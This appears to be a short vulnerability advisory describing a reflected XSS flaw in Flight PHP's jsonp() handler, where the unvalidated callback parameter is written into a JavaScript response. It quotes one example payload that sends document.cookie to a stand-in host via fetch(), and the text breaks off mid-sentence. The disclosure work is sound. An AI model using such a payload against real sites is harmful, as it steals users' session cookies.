Flight PHP, Reflected XSS, CVE-None (critical)

How the mentioned CVE works: Flight::jsonp() in flight/Engine.php (lines 1000-1013) directly concatenates the `?jsonp=` query parameter into an `application/javascript` response body without any validation. The code calls `$this->request()->query[$param]` to retrieve the callback name, then writes `$callback . ‘(‘ . $json . ‘);’` via ->write(). No regex check or JavaScript identifier validation is performed. An attacker can supply a malicious value such as ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//. This string gets embedded directly into the response. The `Content-Type` header is set to application/javascript, so when a victim loads the endpoint via `

Listen to this Post